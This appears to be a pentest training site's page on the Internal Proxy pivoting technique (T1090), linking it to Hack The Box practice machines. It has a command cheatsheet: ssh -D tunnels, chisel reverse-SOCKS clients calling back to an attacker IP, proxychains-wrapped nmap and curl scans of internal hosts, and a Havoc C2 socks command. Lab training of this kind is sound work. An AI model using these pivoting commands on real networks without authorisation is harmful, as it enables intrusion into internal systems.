Internal Proxy
Sub-technique of T1090 Proxy ↗
Setting up a SOCKS proxy on the victim to reach the internal network from your machine.
How it shows up on Hack The Box
chisel R:socks or ssh -D and then proxychains in front of every tool. Remember only TCP goes through SOCKS: use nmap -sT -Pn.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Showing 48 of 56. Open each catalog technique above to see them all.
Guides
- Port forwarding and pivoting: SSH, chisel and socat 3 min read How to reach a service that only listens on 127.0.0.1 or sits on another internal network: local, remote and dynamic SSH tunnels, chisel when there is no SSH, socat and proxychains.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Port forwarding and pivoting › SSH
ssh -D 1080 -N [email protected]Port forwarding and pivoting › chisel
./chisel client 10.10.14.5:8000 R:socksOpens a SOCKS5 proxy on port 1080 of your machine.
.\chisel.exe client 10.10.14.5:8000 R:socksPort forwarding and pivoting › Others
socks5 127.0.0.1 1080proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10Only TCP connect (-sT) works through proxychains, without ping (-Pn).
C2 and post-exploitation › Havoc
socks add 1080Chisel › More uses
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains -q curl http://172.16.1.10No command matches.